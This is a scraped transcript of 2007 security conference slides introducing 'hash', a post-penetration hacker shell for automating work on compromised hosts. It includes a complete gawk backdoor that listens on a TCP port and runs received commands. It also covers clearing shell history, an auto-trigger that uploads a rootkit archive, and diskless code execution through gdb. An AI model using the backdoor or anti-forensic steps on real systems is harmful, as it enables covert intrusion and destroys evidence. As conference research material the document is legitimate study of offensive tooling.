hacking sucks!powerofcommunity.net/poc2007/grugq.pdf · 2018-01-08 · hacking environments suck...

45
Hacking Sucks! Why hash makes the hurting stop the grugq < [email protected] >

Upload: others

Post on 07-Jul-2020

1 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: Hacking Sucks!powerofcommunity.net/poc2007/grugq.pdf · 2018-01-08 · Hacking Environments Suck Underpowered Lack necessary features All or nothing approach Can’t combine different

Hacking Sucks!Why hash makes the hurting stop

the grugq <[email protected]>

Page 2: Hacking Sucks!powerofcommunity.net/poc2007/grugq.pdf · 2018-01-08 · Hacking Environments Suck Underpowered Lack necessary features All or nothing approach Can’t combine different

Agenda

Why Hacking Sucks

Where Hacking Sucks

Make the Hurting Stop

Post Penetration Pleasures

Concluding Thoughts

Q&A

Page 3: Hacking Sucks!powerofcommunity.net/poc2007/grugq.pdf · 2018-01-08 · Hacking Environments Suck Underpowered Lack necessary features All or nothing approach Can’t combine different

On Why Hacking Sucks

Page 4: Hacking Sucks!powerofcommunity.net/poc2007/grugq.pdf · 2018-01-08 · Hacking Environments Suck Underpowered Lack necessary features All or nothing approach Can’t combine different

Why Hacking Sucks

Hacking requires too much manual intervention

Doing things “by hand”

Difficult to integrate anti-forensics into the process

Tools don’t work together seamlessly

Page 5: Hacking Sucks!powerofcommunity.net/poc2007/grugq.pdf · 2018-01-08 · Hacking Environments Suck Underpowered Lack necessary features All or nothing approach Can’t combine different

Hacking sucks because hacking environments suck

Page 6: Hacking Sucks!powerofcommunity.net/poc2007/grugq.pdf · 2018-01-08 · Hacking Environments Suck Underpowered Lack necessary features All or nothing approach Can’t combine different

Hacking Environments Suck

Underpowered

Lack necessary features

All or nothing approach

Can’t combine different tools

Page 7: Hacking Sucks!powerofcommunity.net/poc2007/grugq.pdf · 2018-01-08 · Hacking Environments Suck Underpowered Lack necessary features All or nothing approach Can’t combine different

Crap Hacking Environments

GUI Environments - pornographic hacking

Limited post-penetration control

CLI Environments - bare back hacking

Non-existent post-penetration control

Page 8: Hacking Sucks!powerofcommunity.net/poc2007/grugq.pdf · 2018-01-08 · Hacking Environments Suck Underpowered Lack necessary features All or nothing approach Can’t combine different

Hacking ContinuumWhere hacking sucks, specifically...

Page 9: Hacking Sucks!powerofcommunity.net/poc2007/grugq.pdf · 2018-01-08 · Hacking Environments Suck Underpowered Lack necessary features All or nothing approach Can’t combine different

Research - pre-penetration

Find bugs

Fuzzers, code analysis engines, etc. etc.

Develop exploits

Exploit frameworks, etc. etc.

Locate targets

Scanners, search engines, etc. etc.

Page 10: Hacking Sucks!powerofcommunity.net/poc2007/grugq.pdf · 2018-01-08 · Hacking Environments Suck Underpowered Lack necessary features All or nothing approach Can’t combine different

Exploit - penetration

Evade detection

Anti-IDS / IPS tools

Enter the box

Exploits, stolen passwords, trust relationships

Page 11: Hacking Sucks!powerofcommunity.net/poc2007/grugq.pdf · 2018-01-08 · Hacking Environments Suck Underpowered Lack necessary features All or nothing approach Can’t combine different

Prep ‘n’ Play - post-penetration

Prepare for retention

Cleanup, secure, install tools

This sucks!

Page 12: Hacking Sucks!powerofcommunity.net/poc2007/grugq.pdf · 2018-01-08 · Hacking Environments Suck Underpowered Lack necessary features All or nothing approach Can’t combine different

Retain - re-penetration

Avoid discovery

Rootkits, backdoors, covert channels

Search for valuable data/useful information

Google desktop, grep

Page 13: Hacking Sucks!powerofcommunity.net/poc2007/grugq.pdf · 2018-01-08 · Hacking Environments Suck Underpowered Lack necessary features All or nothing approach Can’t combine different

So, what is the problem?

Page 14: Hacking Sucks!powerofcommunity.net/poc2007/grugq.pdf · 2018-01-08 · Hacking Environments Suck Underpowered Lack necessary features All or nothing approach Can’t combine different

Post Penetration Pain

Restricted to a shell

No access to local system

File transfer is annoying

cat and uudecode suck

Habits of highly effective hackers

unset HISTFILE

Page 15: Hacking Sucks!powerofcommunity.net/poc2007/grugq.pdf · 2018-01-08 · Hacking Environments Suck Underpowered Lack necessary features All or nothing approach Can’t combine different

Pain Point Revisited

Immediately after penetrating a host, there is no support for:

Automation

Integrated anti-forensics

Other basic functionality

Logging, file transfer, etc.

Page 16: Hacking Sucks!powerofcommunity.net/poc2007/grugq.pdf · 2018-01-08 · Hacking Environments Suck Underpowered Lack necessary features All or nothing approach Can’t combine different

We’re still hacking like it is 1999!

Page 17: Hacking Sucks!powerofcommunity.net/poc2007/grugq.pdf · 2018-01-08 · Hacking Environments Suck Underpowered Lack necessary features All or nothing approach Can’t combine different

Make the hurting stop! What is to be done?

Page 18: Hacking Sucks!powerofcommunity.net/poc2007/grugq.pdf · 2018-01-08 · Hacking Environments Suck Underpowered Lack necessary features All or nothing approach Can’t combine different

What we want...

Easy Automation

Total Control

Logging / Data Retention

Robust

Extensible

Page 19: Hacking Sucks!powerofcommunity.net/poc2007/grugq.pdf · 2018-01-08 · Hacking Environments Suck Underpowered Lack necessary features All or nothing approach Can’t combine different

A Hacking Harness

Harness - a framework for:

Automating tasks

Completely controlling the environment

A hacking harness enables this functionality for hacking

Page 20: Hacking Sucks!powerofcommunity.net/poc2007/grugq.pdf · 2018-01-08 · Hacking Environments Suck Underpowered Lack necessary features All or nothing approach Can’t combine different

Post Penetration PleasuresPresenting: hash

Page 21: Hacking Sucks!powerofcommunity.net/poc2007/grugq.pdf · 2018-01-08 · Hacking Environments Suck Underpowered Lack necessary features All or nothing approach Can’t combine different

hash

hacker shell

World’s first (public) hacking harness

Post penetration enablement tool

Page 22: Hacking Sucks!powerofcommunity.net/poc2007/grugq.pdf · 2018-01-08 · Hacking Environments Suck Underpowered Lack necessary features All or nothing approach Can’t combine different

Brief History

Inspired by a private tool in 2000

Initial development as xsh in 2003

Written in C - wrong language for the job

Spent months dealing with terminal I/O

Restarted in Python in June 2007

Over a dozen implementations

Page 23: Hacking Sucks!powerofcommunity.net/poc2007/grugq.pdf · 2018-01-08 · Hacking Environments Suck Underpowered Lack necessary features All or nothing approach Can’t combine different

Design: Components

Slaved pty sub-shell

Multiplexing pty command and control daemon

Hacking environment

Builtin commands

Plugin framework

Overlay executables

Page 24: Hacking Sucks!powerofcommunity.net/poc2007/grugq.pdf · 2018-01-08 · Hacking Environments Suck Underpowered Lack necessary features All or nothing approach Can’t combine different

Hash Implementation

python

pty slave shell - std hacking environment

dtach module - multiplexing master/slave pty

overlay

generic extension capabilities via process fork() + fd3

basic builtin file system access: pwd, chdir/cd, etc.

Page 25: Hacking Sucks!powerofcommunity.net/poc2007/grugq.pdf · 2018-01-08 · Hacking Environments Suck Underpowered Lack necessary features All or nothing approach Can’t combine different

Design: Diagram

kbd

hash

dtach shell

shell procdaemon prochash proc

Page 26: Hacking Sucks!powerofcommunity.net/poc2007/grugq.pdf · 2018-01-08 · Hacking Environments Suck Underpowered Lack necessary features All or nothing approach Can’t combine different

Features

Hacking utilities

Inline file transfer

qondom - remote diskless execution

Builtins

Triggers

Aliasing

Basic file system and shell escape commands

Page 27: Hacking Sucks!powerofcommunity.net/poc2007/grugq.pdf · 2018-01-08 · Hacking Environments Suck Underpowered Lack necessary features All or nothing approach Can’t combine different

Hacking Utilitiesqondom - Anti Forensic Remote Execution

inline ftp - file transfer without cat and uudecode

Page 28: Hacking Sucks!powerofcommunity.net/poc2007/grugq.pdf · 2018-01-08 · Hacking Environments Suck Underpowered Lack necessary features All or nothing approach Can’t combine different

Implementation:Inline File Transfer

Pass file content as hexdump “encoded” data

hash% put <file>

decode with echo

echo -e -n ‘\x...’ >> $FILE_NAME

hash% get <file>

encode with octal dump (od)

od -t x1 -v $FILE | sed -e ‘s///’

Page 29: Hacking Sucks!powerofcommunity.net/poc2007/grugq.pdf · 2018-01-08 · Hacking Environments Suck Underpowered Lack necessary features All or nothing approach Can’t combine different

qondomMakes it easy to clean up the mess

Page 30: Hacking Sucks!powerofcommunity.net/poc2007/grugq.pdf · 2018-01-08 · Hacking Environments Suck Underpowered Lack necessary features All or nothing approach Can’t combine different

qondom Technique: scripts

Read local script content

Execute remote script interpreter

Send script over STDIN to interpreter

Done!

Page 31: Hacking Sucks!powerofcommunity.net/poc2007/grugq.pdf · 2018-01-08 · Hacking Environments Suck Underpowered Lack necessary features All or nothing approach Can’t combine different

A Backdoor in gawk

BEGIN { Port = 8080 Prompt = "bkd> "

Service = "/inet/tcp/" Port "/0/0" while (1) { do { printf Prompt |& Service Service |& getline cmd if (cmd) { while ((cmd |& getline) > 0) print $0 |& Service close(cmd) } } while (cmd != "exit") close(Service) }}

Page 32: Hacking Sucks!powerofcommunity.net/poc2007/grugq.pdf · 2018-01-08 · Hacking Environments Suck Underpowered Lack necessary features All or nothing approach Can’t combine different

qondom Techniques: binaries

Requires a text based manipulation of process address space

Debuggers!

Standard tools

Not incriminating

Not traceable

Page 33: Hacking Sucks!powerofcommunity.net/poc2007/grugq.pdf · 2018-01-08 · Hacking Environments Suck Underpowered Lack necessary features All or nothing approach Can’t combine different

qondom History: rexec 2003

Originally published in Phrack 62 (2003)

Inspired by CORE Impact’s syscall proxying

Written as a C library

Generated absolutely no interest

Page 34: Hacking Sucks!powerofcommunity.net/poc2007/grugq.pdf · 2018-01-08 · Hacking Environments Suck Underpowered Lack necessary features All or nothing approach Can’t combine different

Howto execute an ELF

Create a process address space

Map down existing process image

Allocate space for new process image

Relocate process image

Inject process image

Transfer control of execution

Page 35: Hacking Sucks!powerofcommunity.net/poc2007/grugq.pdf · 2018-01-08 · Hacking Environments Suck Underpowered Lack necessary features All or nothing approach Can’t combine different

qondom gdbrpc

Execute system calls(gdb) p/x mmap(...)

Copy in data(gdb) p/x memcpy(0x.., “\x00\x...”, ...)

Set registers (gdb) p/x $eax = 0x01

Set values

(gdb) *(int *) 0x... = 0x...

Page 36: Hacking Sucks!powerofcommunity.net/poc2007/grugq.pdf · 2018-01-08 · Hacking Environments Suck Underpowered Lack necessary features All or nothing approach Can’t combine different

Builtin core commandsBatteries included

Page 37: Hacking Sucks!powerofcommunity.net/poc2007/grugq.pdf · 2018-01-08 · Hacking Environments Suck Underpowered Lack necessary features All or nothing approach Can’t combine different

Triggers

Monitor output stream of pty process, automatically execute commands on triggers

trigger ‘^# $’ = “unset HISTFILE; ^\put rk.tgz”

TODO: Implement this without massive performance overhead

Page 38: Hacking Sucks!powerofcommunity.net/poc2007/grugq.pdf · 2018-01-08 · Hacking Environments Suck Underpowered Lack necessary features All or nothing approach Can’t combine different

Alias commands

Create an alias for a sequence of commands

alias newroot=”unset HISTFILE”

TODO: Allow aliased commands to access hash commands

Page 39: Hacking Sucks!powerofcommunity.net/poc2007/grugq.pdf · 2018-01-08 · Hacking Environments Suck Underpowered Lack necessary features All or nothing approach Can’t combine different

Misc. Commands

Keep a complete record of all session data

log

Dump local files to STDIN of pty shell

cat <file1> [<file2> ...]

Change hash current working directory

cd <dir>

Page 40: Hacking Sucks!powerofcommunity.net/poc2007/grugq.pdf · 2018-01-08 · Hacking Environments Suck Underpowered Lack necessary features All or nothing approach Can’t combine different

Misc. Commands cont.

Shell escapes

! <shell command>

Page 41: Hacking Sucks!powerofcommunity.net/poc2007/grugq.pdf · 2018-01-08 · Hacking Environments Suck Underpowered Lack necessary features All or nothing approach Can’t combine different

Extending hashPlugins and overlay

Page 42: Hacking Sucks!powerofcommunity.net/poc2007/grugq.pdf · 2018-01-08 · Hacking Environments Suck Underpowered Lack necessary features All or nothing approach Can’t combine different

hash Plugin System

Inherit from plugin.Plugin

Access the pty slave shell via

self.shell.system( command )

self.shell.init()

self.shell.run()

self.shell.fini()

Page 43: Hacking Sucks!powerofcommunity.net/poc2007/grugq.pdf · 2018-01-08 · Hacking Environments Suck Underpowered Lack necessary features All or nothing approach Can’t combine different

Overlay commands

Generic interface to interacting with the pty slave

overlay fork()s a process with fd 3 linked to the pty

Any program can do programmatic I/O via fd 3

shell scripts can use ptyexec / ptyrun

Page 44: Hacking Sucks!powerofcommunity.net/poc2007/grugq.pdf · 2018-01-08 · Hacking Environments Suck Underpowered Lack necessary features All or nothing approach Can’t combine different

Concluding Thoughts

Hacking harnesses are crucial penetration testing tools

Expect more developments in this space

hash is the first public hacking harness

not just a new tool, a new type of tool

Available for download

http://www.tacticalvoip.com/tools.html

Page 45: Hacking Sucks!powerofcommunity.net/poc2007/grugq.pdf · 2018-01-08 · Hacking Environments Suck Underpowered Lack necessary features All or nothing approach Can’t combine different

Q & A